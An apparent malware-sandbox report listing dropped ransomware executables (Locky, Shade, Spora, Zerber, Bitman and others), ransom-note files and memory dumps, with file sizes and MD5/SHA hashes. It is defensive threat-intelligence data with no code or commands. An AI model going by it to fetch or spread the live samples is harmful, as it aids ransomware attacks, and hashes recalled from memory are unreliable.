2ec5af77e34ba4ee69452decd7b00f6c

SHA1
5a28a8e1d3b30c8eb992952700ffe3f2bd900e24

SHA256
79d7b1d118b78ce2b68812118d88318dbffee5663acfd302bf2a07df66938001

SHA512
98229edd373a7faf0341cb7cfc0cbcd04080fd8f4b705810cf787d6ee9936f6f6589a7ff0b1ab9289d7358e43032848c0eb0d1a63468516b53f98622339fc5e5

Download Submit
C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Bitman.ruz-514ba0fea985ce5629e0ca777614d2d24b0b3f0a250f13afcc53255c4bf215e5.exe

Filesize
337KB

MD5
49660ac417608583f7b19fd729a6c031

SHA1
044d305f1ecca1dc7bacffafd66c6010c9e1f9e0

SHA256
514ba0fea985ce5629e0ca777614d2d24b0b3f0a250f13afcc53255c4bf215e5

SHA512
3c3a625a24d6e2b1c29697c56da4d08093b0a8e8e07690c6c8ce5aaebb7b185fb25d79876a6049cc9dfe0c8a0312733af230758932ec4d38731abb2b9832d67f

Download Submit
C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Blocker.ibju-8a2a28d164a6d4011e83ae3f930de8bf1e01ba2e013bee43460f2f58bdaf4109.exe

Filesize
101KB

MD5
6b422988b8b66e54e68f110c64914744

SHA1
58e5509e705abcfc99d83c1d527fe4da2a87e8c6

SHA256
8a2a28d164a6d4011e83ae3f930de8bf1e01ba2e013bee43460f2f58bdaf4109

SHA512
f0182f721e8524b6b4de41cb5bc892e6896688bcb0b7be61d29a86b3528b198d9b4bcf21094a5a2c11b7c11e042c7d2c36b3195674dd9f978fa3d271597f53cf

Download Submit
C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.FileCoder.d-edf38929856a923cf9a0816fc307095d8ab89283407c0d27c309e345e19393ee.exe

Filesize
1.2MB

MD5
3ec7435df4c1461f8246032e1cf151c7

SHA1
f3ea76c49e50790d76aa3adfe80f6b68008eaa40

SHA256
edf38929856a923cf9a0816fc307095d8ab89283407c0d27c309e345e19393ee

SHA512
bc01aad230b08a93b60ab0b398c515002ef68b0731ddffc4d8e8e307735d79b75bcc94c2413621d9778836c52bf60f9d5ce811bebcf7894c0ab09b37b53a3dde

Download Submit
C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Foreign.mztc-f103e522f50272faf6643af88593fee456bf94c55cd9f55917c2fda0c25af9fd.exe

Filesize
689KB

MD5
8d249b5b6ae2d507b4abd47a41549d0f

SHA1
ff0573a53f0ccaa6b94beb78fb96a46649b83c5d

SHA256
f103e522f50272faf6643af88593fee456bf94c55cd9f55917c2fda0c25af9fd

SHA512
a7e3d6290281bafbec996a09622749bb0905b256fa328ff92a9b1f9527a8fbb1c6898c27b40eeb261e796198676e72771a3038a0955f31c15631a783052a8fa9

Download Submit
C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Foreign.ncak-f9a8a91cc5ca15b0c2ebd8b70baa4c052ed170d3ed07b5be45ea4353184b504e.exe

Filesize
454KB

MD5
ade7cb1c394d4c59fee5771d6d808b2a

SHA1
d79f4257cb27d203815fa60dd8bab6ea7924e593

SHA256
f9a8a91cc5ca15b0c2ebd8b70baa4c052ed170d3ed07b5be45ea4353184b504e

SHA512
477860494716d68cdd2f12a04f3564c81e8749f48d001b16fc2033b70be4b8254454dc64c24bd3fff9980138280202d8f8c78c74e4142029cf6a775883b7aa38

Download Submit
C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Foreign.nljm-eb2c69c7562e1fe7da6aa440f134109d097fba08d2e57ab991cdba989b0571e2.exe

Filesize
476KB

MD5
ad51a2614d19a7b922a6ac0b85f4366b

SHA1
71dc0b05323bee09e1a06aaa78403c30f3fd3252

SHA256
eb2c69c7562e1fe7da6aa440f134109d097fba08d2e57ab991cdba989b0571e2

SHA512
cf2babe6a0eddc92027d72c0194bc77d46e92ae15889f76cc20c3a3ead068aae40fc73f683dc3c627b6491efba2d06774c2cc79a9ec7c425b1a4f24a5656958e

Download Submit
C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Foreign.nmgv-c9704ea156a637add087e25da2ec42bd6e4ee2238117c5f489777d8516dee059.exe

Filesize
343KB

MD5
4f8ee626e23c3374d7a5ca5d25920f32

SHA1
a7e0f2dec7be1f8c979694707505a6278dccb507

SHA256
c9704ea156a637add087e25da2ec42bd6e4ee2238117c5f489777d8516dee059

SHA512
e64abe84d1e729e6ce58906d218ddbfb640324a2e0da24827f63f4fa90bd63dd249031048a7824ce2c1ee19a4a7ad52200ac98ac96204ef4cab69c2f568320df

Download Submit
C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Fury.mo-4eb2d565b18d172a3b2b069ebf152dd6a1514e7b444eaffbbaff77f63984705c.exe

Filesize
156KB

MD5
254abe18b689493a08c4fe12dd61c366

SHA1
a2b72c31e2420ceb9eb1da2ba1323fb9d45b4682

SHA256
4eb2d565b18d172a3b2b069ebf152dd6a1514e7b444eaffbbaff77f63984705c

SHA512
058ce6d27f5bf6f55736ee69997d39f4a180b43cdbde2052ba6c41a748a6afb772b9033069eb16e12d6949ad97d24a98cedbc34cec162dec9f20a3d8f3d50879

Download Submit
C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Fury.oa-1945b61e7d14f000e298439e0ef3d9226b449d9650c5628d56048018fcbe1a95.exe

Filesize
117KB

MD5
beb989e94f1be050d838cfd830e0a732

SHA1
f5e0b4871381e52c2d767d614f1594d7f1f95b19

SHA256
1945b61e7d14f000e298439e0ef3d9226b449d9650c5628d56048018fcbe1a95

SHA512
967e7960cc5387caaa30de52402cd6b9d35e7e87a6dff488c9b9e3836bfaad9a28e03c880ad2b777a0855a39ba6dc46676d71e32959705963d82923ed7000100

Download Submit
C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Locky.asa-8f3238700e5575d94227d28d1a7c23d32589ab1ffe4ab071637c49f87ce12d0e.exe

Filesize
332KB

MD5
22a2ac13278a345118f4e5765d63f4b0

SHA1
f9f433e8bfabce17dbcc80aeb6de8dcd8fdce024

SHA256
8f3238700e5575d94227d28d1a7c23d32589ab1ffe4ab071637c49f87ce12d0e

SHA512
4d09ff81a88e84ced85c97f46bd027a69fffcf476a04945fa389a453273c16de7b873f4d9f1ebf05a914b3ba46974a3b1b87fd5ee3476a1ec086c7c827be83c7

Download Submit
C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Locky.cid-4e1fa0342798b3645a106db58f88a7b60d632f23893446f00001380101aab209.exe

Filesize
281KB

MD5
b3439ae5c61ff50efc614ae7688758ef

SHA1
2cbb7b2ebde9500ca466d78783019fa77aaf111d

SHA256
4e1fa0342798b3645a106db58f88a7b60d632f23893446f00001380101aab209

SHA512
02e9a7a2b91a0192151bb6cfa3ca2d1a23e6e38b1232207727dccbf8cc41c07190b8a3c6529b4bd6ddff1a44026c4d1ac053676054f6a6f38dafef3b8a8b796e

Download Submit
C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Locky.ln-4eca4a4f186ad246fc0ba6a5075fbe27c589ee921ddc536009e50d2fe162eb94.exe

Filesize
164KB

MD5
a97c1b4caeac5460d987dcdd6be61104

SHA1
947b10ecff167f778b423e31685d9ac0c55a6465

SHA256
4eca4a4f186ad246fc0ba6a5075fbe27c589ee921ddc536009e50d2fe162eb94

SHA512
c673924b18b7cb259af625aed5115d51b8afccefc97f4a1e70eb8da2e3d75c8bef9e1bc11546ad5f80130f7488718b15286efba113a637c2c4c63d752e2d9a38

Download Submit
C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Shade.ozd-dee1692624a25f660ace06dade67bf10f51b351fcee41b6f3e31e82323e43e4c.exe

Filesize
1.9MB

MD5
b4d6e163ad10468c698a8950b1564c8e

SHA1
e197e868d7090506f400a7fe03e0b6e5f74e2bc6

SHA256
dee1692624a25f660ace06dade67bf10f51b351fcee41b6f3e31e82323e43e4c

SHA512
bccf63c7d67d8557da8289a57388ee6b352bf222282d4cc063f1b1c9693c50a8fdd31c27f55af05d54cbd0905b535011c17daa213825d230a8abc029d5f9c86c

Download Submit
C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Shade.uv-ddf74ac48633d395d5e7258936989274d1efa46e500d636404bc6098f14faa9b.exe

Filesize
895KB

MD5
210bbedc2a69de5707676a6a6735d2ac

SHA1
18ce93881a8801a9457a1d8a77dfd4341d3b4002

SHA256
ddf74ac48633d395d5e7258936989274d1efa46e500d636404bc6098f14faa9b

SHA512
190e4901cfbcbf8c2ed5341e6718e4daacbccdb2907b7cb0fe5a2dda11f17ec18726ee2e8f5a2524b106737ceb5220e5dfc3a07e38d1bfe74645d6394fff69f6

Download Submit
C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Shade.yd-75d07a22e1ccdb95adad105a284bbadcd119e274ee5ea9aba23a56510207b0b9.exe

Filesize
280KB

MD5
814e85e41067147c329d07f7fabaecad

SHA1
a55cdca4769fef1066846d5ba77b3efc823e0900

SHA256
75d07a22e1ccdb95adad105a284bbadcd119e274ee5ea9aba23a56510207b0b9

SHA512
71c37654df3c2aa536262492528180b79f545f589603b5f3bfeefc21b5ce510784cc0127508ddc9bebbf0753c51cba22df7c5884f324829cf19c50bce7f5e5fb

Download Submit
C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Spora.fio-8d8576432cd79c4c6a8902e9fcbdad16c871afae3731a4d9ec9cb6a0be727ffe.exe

Filesize
173KB

MD5
bfdf311cad652de3e51a581ec3a19338

SHA1
df3cc8cdc962de4f0624a927fcda16f84eb804db

SHA256
8d8576432cd79c4c6a8902e9fcbdad16c871afae3731a4d9ec9cb6a0be727ffe

SHA512
6860d7b32831949fba14bbdce1d9bc4d674031dcbf012db9be26192946200b63522f6eb3f33987539d5145b94ed697bfe768c9836eaaff6ef77d5d178fd2f0b8

Download Submit
C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Zerber.dpqs-18e5605f466c9babf9232224d654e1541c28710ad0e386871fc1d9f2ddf1b82c.exe

Filesize
396KB

MD5
9417925e73f173ad173e0f7b0a434d5b

SHA1
7ac158d72130052fc58011a1f62fbc66bed86a60

SHA256
18e5605f466c9babf9232224d654e1541c28710ad0e386871fc1d9f2ddf1b82c

SHA512
95656eed8b763d3692b23bd10fcd345bdaa815a9b65ec62f1538b6a491a0cd708e766beaed8ce61d1e0c9b5cb8f09c46c49e67e4c8085601c3ef13ec08340eca

Download Submit
C:\Users\Admin\Desktop\00289\Trojan-Ransom.Win32.Zerber.dzlx-bfd448a7bc3b9ea4d2312db990a3ac8e621b291daab9c62d2d71598c1bc33b65.exe

Filesize
494KB

MD5
7281951c1808e34fda2123d38cd9de96

SHA1
747995f83bc696f9c3901284d90900b45bf23d6f

SHA256
bfd448a7bc3b9ea4d2312db990a3ac8e621b291daab9c62d2d71598c1bc33b65

SHA512
7ad22c97fd59a07e0b73f7cb3598f71afa3874586b16a2ef97eea59c079afdc0889fcb098e41b6d36aa9a282a62d6919dc56c5353e58731fd8a339e515e7b86c

Download Submit
C:\Users\Admin\Desktop\_HELP_HELP_HELP_KV20I.hta

Filesize
74KB

MD5
b1172959b198c4709174176e452cf6fb

SHA1
07f039687f6dfc65e8d550484c7ef0f9ee268ae0

SHA256
6200474c8a9592e678e13993b0bf57d9da5fb0c9ae44263c971080ba4be50310

SHA512
0ac374e5733ed0b31707ceaf3b9cc6f4a4cf4ef3fe81148d07263c83e6981b4874996986ba934531b8f48249ba556864093c219327f275da29f052f4e7da3bbc

Download Submit
C:\Users\_HELP_HELP_HELP_915YP.jpg

Filesize
151KB

MD5
978296de962363986e04bdf813c9170d

SHA1
d18e016ab2e219d36cb966ae068e67476d7eee4c

SHA256
62bfd9f4ea474f4cf2bfc51eb3703ba51150722d9f8ef1c1a797bc7cf9973212

SHA512
9eed0d41dad3e19156adf96c5ed363174974ada74203005b25662a422090ab760a24724778f9e52a19df2c109a6d27ed346be37713cb29c9a5c4d183dd557e3d

Download Submit
\Program Files (x86)\BBLiveZip\BBLiveSvc.exe

Filesize
607KB

MD5
c0804f67e9a6254b54b42d687c6094fb

SHA1
cb58fbf6f9830dfd89402e799fe10cd8e413de8b

SHA256
b65ec491604bd2f53a6e041ba5f74732db38a2dfd21743191d8d7ffa8cb89a99

SHA512
d688abd071dd3953fb37c45009fbee06e38fde6388c0cd7194a92dbf1c4605d415adb28a716a78ead40adfb850c9fc01350f5edd67d868e25122628c289f977e

Download Submit
\Users\Admin\AppData\Local\Temp\nsjA738.tmp\ChannelDll.dll

Filesize
91KB

MD5
1458c52c0baa22de71c2fa2480f9fb89

SHA1
c816de231baa2b6873b9e76e8090df7577ed391c

SHA256
2e26b19d6a827a60ca2133e454eea4020f03fb2d05b17c0ba1b0a2da2f8a6d7d

SHA512
043f56aadeb68c94a8afb3eaaa79eec1b29b817b655f24fcf32cf124c36d656f63f74acfbf58437ab2ef865c8fc4bbcdf0527641754af07d7536dffc9326e191

Download Submit
\Users\Admin\AppData\Local\Temp\nsjA738.tmp\KillProcDLL.dll

Filesize
42KB

MD5
f5a1c92d4a25e4b78f0b39fc063ae6e6

SHA1
359dfb8fd647e345bdc139e7f4887facd6a9a210

SHA256
5aaad8f5599f6196b931144f130637810171a3c723de3413e2eeffa4aa2b5193

SHA512
473fc2137d897e3cebf2368f659b9b34611e176be838c78d6f4db4be707fe08a2d3ece5aca562d51f763a09dafad173c7e1f8a550df59e7ded7fdbb438c33688

Download Submit
\Users\Admin\AppData\Local\Temp\nsuA729.tmp\System.dll

Filesize
11KB

MD5
ca332bb753b0775d5e806e236ddcec55

SHA1
f35ef76592f20850baef2ebbd3c9a2cfb5ad8d8f

SHA256
df5ae79fa558dc7af244ec6e53939563b966e7dbd8867e114e928678dbd56e5d

SHA512
2de0956a1ad58ad7086e427e89b819089f2a7f1e4133ed2a0a736adc0614e8588ebe2d97f1b59ab8886d662aeb40e0b4838c6a65fbfc652253e3a45664a03a00

Download Submit
memory/856-223-0x0000000000400000-0x000000000051A000-memory.dmp

Filesize
1.1MB

Download
memory/1148-319-0x0000000000400000-0x000000000042D000-memory.dmp

Filesize
180KB

Download
memory/1148-254-0x0000000000400000-0x000000000042D000-memory.dmp

Filesize
180KB

Download
memory/1148-259-0x0000000000400000-0x000000000042D000-memory.dmp

Filesize
180KB

Download
memory/1336-158-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/1336-157-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/1336-145-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/1336-151-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/1336-160-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/1336-155-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/1336-153-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/1336-255-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/1336-147-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/1336-149-0x0000000000400000-0x0000000000485000-memory.dmp

Filesize
532KB

Download
memory/1584-1360-0x0000000000DA0000-0x0000000000F29000-memory.dmp

Filesize
1.5MB

Download
memory/1584-126-0x0000000000DA0000-0x0000000000F29000-memory.dmp

Filesize
1.5MB

Download
memory/1584-234-0x0000000000DA0000-0x0000000000F29000-memory.dmp

Filesize
1.5MB

Download
memory/1584-1358-0x00000000036A0000-0x0000000003829000-memory.dmp

Filesize
1.5MB

Download
memory/1584-1253-0x00000000036A0000-0x0000000003829000-memory.dmp

Filesize
1.5MB

Download
memory/1584-308-0x0000000000DA0000-0x0000000000F29000-memory.dmp

Filesize
1.5MB

Download
memory/1636-225-0x0000000000400000-0x00000000004A8000-memory.dmp

Filesize
672KB

Download
memory/1636-311-0x0000000000400000-0x00000000004A8000-memory.dmp

Filesize
672KB

Download
memory/1676-322-0x0000000000400000-0x00000000004A8000-memory.dmp

Filesize
672KB

Download
memory/1676-287-0x0000000000400000-0x00000000004A8000-memory.dmp

Filesize
672KB

Download
memory/1688-318-0x0000000000400000-0x0000000000459000-memory.dmp

Filesize
356KB

Download
memory/1688-265-0x0000000000400000-0x0000000000459000-memory.dmp

Filesize
356KB

Download
memory/1688-264-0x0000000000400000-0x0000000000459000-memory.dmp

Filesize
356KB

Download
memory/1772-71-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/1772-72-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/1772-70-0x0000000140000000-0x00000001405E8000-memory.dmp

Filesize
5.9MB

Download
memory/2068-288-0x0000000000400000-0x0000000000437000-memory.dmp

Filesize
220KB

Download
memory/2068-316-0x0000000000400000-0x0000000000437000-memory.dmp

Filesize
220KB

Download
memory/2068-222-0x0000000000400000-0x0000000000437000-memory.dmp

Filesize
220KB

Download
memory/2068-220-0x0000000000400000-0x0000000000437000-memory.dmp

Filesize
220KB

Download
memory/2204-321-0x0000000000400000-0x00000000005DE000-memory.dmp

Filesize
1.9MB

Download
memory/2204-309-0x0000000000400000-0x00000000005DE000-memory.dmp

Filesize
1.9MB

Download
memory/2228-79-0x0000000000400000-0x0000000000464000-memory.dmp

Filesize
400KB

Download
memory/2228-224-0x0000000000400000-0x0000000000464000-memory.dmp

Filesize
400KB

Download
memory/2228-355-0x0000000000400000-0x0000000000464000-memory.dmp

Filesize
400KB

Download
memory/2272-233-0x0000000000400000-0x0000000000424000-memory.dmp

Filesize
144KB

Download
memory/2408-261-0x0000000000400000-0x00000000005DE000-memory.dmp

Filesize
1.9MB

Download
memory/2408-232-0x0000000000400000-0x00000000005DE000-memory.dmp

Filesize
1.9MB

Download
memory/2408-257-0x0000000000400000-0x00000000005DE000-memory.dmp

Filesize
1.9MB

Download
memory/2408-256-0x0000000000400000-0x00000000005DE000-memory.dmp

Filesize
1.9MB

Download
memory/2456-317-0x0000000000400000-0x000000000049D000-memory.dmp

Filesize
628KB

Download
memory/5068-2587-0x0000000000400000-0x0000000000505000-memory.dmp

Filesize
1.0MB

Download
memory/5068-325-0x000000007EFDE000-0x000000007EFDF000-memory.dmp

Filesize
4KB

Download
memory/5068-331-0x0000000000400000-0x0000000000505000-memory.dmp

Filesize
1.0MB

Download
memory/6348-479-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/6348-358-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/6348-465-0x0000000000400000-0x0000000000416000-memory.dmp

Filesize
88KB

Download
memory/7516-1266-0x0000000000270000-0x00000000003F9000-memory.dmp

Filesize
1.5MB

Download
memory/7516-1372-0x0000000000270000-0x00000000003F9000-memory.dmp

Filesize
1.5MB

Download
memory/8124-518-0x0000000000400000-0x000000000043D000-memory.dmp

Filesize
244KB

Download
memory/8124-681-0x0000000000400000-0x000000000043D000-memory.dmp

Filesize
244KB

Download
memory/9044-6584-0x0000000000400000-0x00000000005D4000-memory.dmp

Filesize
1.8MB

Download
memory/9044-4397-0x0000000000400000-0x00000000005D4000-memory.dmp

Filesize
1.8MB

Download